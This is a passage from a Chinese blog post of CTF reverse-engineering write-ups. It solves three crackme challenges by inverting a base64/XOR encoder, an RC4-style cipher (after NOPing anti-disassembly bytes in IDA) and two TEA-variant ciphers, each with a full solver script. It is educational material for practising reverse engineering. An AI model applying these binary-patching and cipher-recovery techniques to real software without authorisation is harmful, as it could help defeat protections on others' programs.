那以此我们反过来写出解密函数,先 base64 编码一下,再逐字符 减模异或 回去:

def decode(mseeage):
    s = base64.b64decode(mseeage.encode("utf-8"))
    res = ""
    for x in s:
        x = (x - 16 + 256) % 256
        x ^= 32
        res += (int_to_bytes(x).decode("utf-8"))
    return res

完整EXP:

import base64
from cryptography.utils import int_to_bytes

def encode(message):
    s = bytearray()
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        if x > 255:
            x -= 256
        s.append(x)
    else:
        return base64.b64encode(bytes(s)).decode("utf-8")

def decode(mseeage):
    s = base64.b64decode(mseeage.encode("utf-8"))
    res = ""
    for x in s:
        x = (x - 16 + 256) % 256
        x ^= 32
        res += (int_to_bytes(x).decode("utf-8"))
    return res

correct = "cmVZXFRzhHZrYFNpjyFjj1VRVWmPVl9ij4kgZW0="
# flag = input("Input flag: ")
# if encode(flag) == correct:
#     print("��ȷ�Ļش�,awa!!!")
# else:
#     print("�Ͳ�һ����,QWQ!!")
print( decode(correct) )

4.自是花中第一流 - by ShallowDream

查壳无壳,打开 IDA 发现没有办法反汇编。点开 main,发现里面有一些数据导致 IDA 报错,将 jmp 指令和 这些数据全部 nop 掉,就可以正常反编译了。

发现 main 里先调用一个 _main 没什么用,然后调用 init_keyIs_key 一一异或初始化,扒下来操作一下:

key = [0x77, 0x0, 0x1, 0x5E, 0x46, 0x54, 0x43]
for i in range(len(key)):
    key[i] = key[i] ^ 0x31

然后调用一个加密函数,用 key 把输入的数据加密然后比较。函数内先初始化了一个加密数组,跟着代码的逻辑模拟操作一遍即可:

S = [i for i in range(256)]
keylen = 7; j = 0
for i in range(256):
    j = (S[i] + j + key[i % keylen]) % 256
    S[i],S[j] = S[j],S[i]

然后由于是基于异或的操作,我们可以对其在异或一次得到原数组,那么先将加密数组和两个变量调到循环结束的状态。注意这里面的几个变量都是 unsigned __int8 存在自然溢出,我们 %256 模拟:

lenn = len(data); i = 0; j = 0
for k in range(lenn):
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i],S[j] = S[j],S[i]
    K = S[(S[i] + S[j])%256]

然后倒着操作一遍,便可以得到原数组,注意是先异或,再交换:

for k in range(lenn-1,-1,-1):
    data[k] ^= K
    S[i],S[j] = S[j],S[i]
    j = (j - S[i] + 256) % 256
    i = (i - 1 + 256) % 256
    K = S[(S[i] + S[j])%256]

完整EXP:

from cryptography.utils import int_to_bytes

key = [0x77, 0x0, 0x1, 0x5E, 0x46, 0x54, 0x43]
for i in range(len(key)):
    key[i] = key[i] ^ 0x31
# print(key)

data = [0x7E,0x58,0x36,0xF5,0xC5 ,0xF3 ,0x39 ,0xD4,0x65 ,0xCF,
0x67 ,0x85 ,0x37 ,0x8C ,0x0C ,0xD4 ,0x46,0x88 ,0x95 ,0x2F,0xDB ,
0xB6 ,0xA7 ,0x56 ,0xDC ,0xFE,0xA9 ,0x99 ,0x92 ,0x60,0xA6,0xC9,0xE7,0xCF,0xBD,0xB5,0x62]


S = [i for i in range(256)]
keylen = 7; j = 0
for i in range(256):
    j = (S[i] + j + key[i % keylen]) % 256
    S[i],S[j] = S[j],S[i]

lenn = len(data); i = 0; j = 0
for k in range(lenn):
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i],S[j] = S[j],S[i]
    K = S[(S[i] + S[j])%256]

for k in range(lenn-1,-1,-1):
    data[k] ^= K
    S[i],S[j] = S[j],S[i]
    j = (j - S[i] + 256) % 256
    i = (i - 1 + 256) % 256
    K = S[(S[i] + S[j])%256]

for x in data: print(chr(x),end='')

5.晴窗细乳戏分茶 - by ShallowDream

查壳无壳,发现是 tea 加密,共两个部分。

第一部分,每 8 位一起加密成两个 unsigned int,加密 3次后与 buf 比较,共 24 字节。

那么我们把每次加密的 key 和最后的 ans 扒下来,每次反着操作回去即可解密:

    unsigned int k[] = {1646625,164438,164439,2631985};
	int enc[] = {-1559465970,-158607645,-1059812880,314506021,-2131835469,731233488};

每一次都先将 sum 变成最后的状态,注意是 unsigned int 自然溢出:

	for(int j=0;j<6;j+=2){
		unsigned int sum = 0;
		for(int i=0;i<32;++i) sum -= 1640531527;
		unsigned int v0 = enc[j], v1 = enc[j+1];
		for(int i=0;i<32;i++){
			v1 -= (v0 + sum) ^ (16 * v0 + k[2]) ^ ((v0 >> 5) + k[3]);
			v0 -= (v1 + sum) ^ (16 * v1 + k[0]) ^ ((v1 >> 5) + k[1]);
			sum += 1640531527;
		}
		enc[j] = v0, enc[j+1] = v1;
	}

第二部分也是一样的逻辑,每 8 位一起加密成两个 unsigned int,加密 2次后与 v4 比较,共 16 字节。

把 key 和 v4 扒下来:

	unsigned int key2[] = {358040470,1131796,85988116,120935944};
	int enc2[] = {-2022820316,-1470027656,1057529116,1243942236};

按照加密程序的逻辑倒着解密一下,同样注意都是 unsigned int 数据自然溢出:

	for(int j=0;j<4;j+=2){
		unsigned int sum = 0;
		for(int i=0;i<32;++i) sum -= 1640531527;
		unsigned int v0 = enc2[j], v1 = enc2[j+1];
		for(int i=0;i<32;i++){
			v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key2[(sum>>11)&3] + sum);
			sum += 1640531527;
			v0 -= (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key2[sum & 3] + sum);
		}
		enc2[j] = v0, enc2[j+1] = v1;
	}

最后输出一下两个部分的答案,组合起来就得到了 flag。

完整EXP:

#include<iostream>
using namespace std;
int main(){
	unsigned int k[] = {1646625,164438,164439,2631985};
	int enc[] = {-1559465970,-158607645,-1059812880,314506021,-2131835469,731233488};
	for(int j=0;j<6;j+=2){
		unsigned int sum = 0;
		for(int i=0;i<32;++i) sum -= 1640531527;
		unsigned int v0 = enc[j], v1 = enc[j+1];
		for(int i=0;i<32;i++){
			v1 -= (v0 + sum) ^ (16 * v0 + k[2]) ^ ((v0 >> 5) + k[3]);
			v0 -= (v1 + sum) ^ (16 * v1 + k[0]) ^ ((v1 >> 5) + k[1]);
			sum += 1640531527;
		}
		enc[j] = v0, enc[j+1] = v1;
	}
	puts((char *)enc);
	
	unsigned int key2[] = {358040470,1131796,85988116,120935944};
	int enc2[] = {-2022820316,-1470027656,1057529116,1243942236};
	for(int j=0;j<4;j+=2){
		unsigned int sum = 0;
		for(int i=0;i<32;++i) sum -= 1640531527;
		unsigned int v0 = enc2[j], v1 = enc2[j+1];
		for(int i=0;i<32;i++){
			v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key2[(sum>>11)&3] + sum);
			sum += 1640531527;
			v0 -= (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key2[sum & 3] + sum);
		}
		enc2[j] = v0, enc2[j+1] = v1;
	}
	puts((char *)enc2);
	return 0;
}
posted @ 2024-10-27 21:13  浅叶梦缘  阅读(362)  评论(0编辑  收藏  举报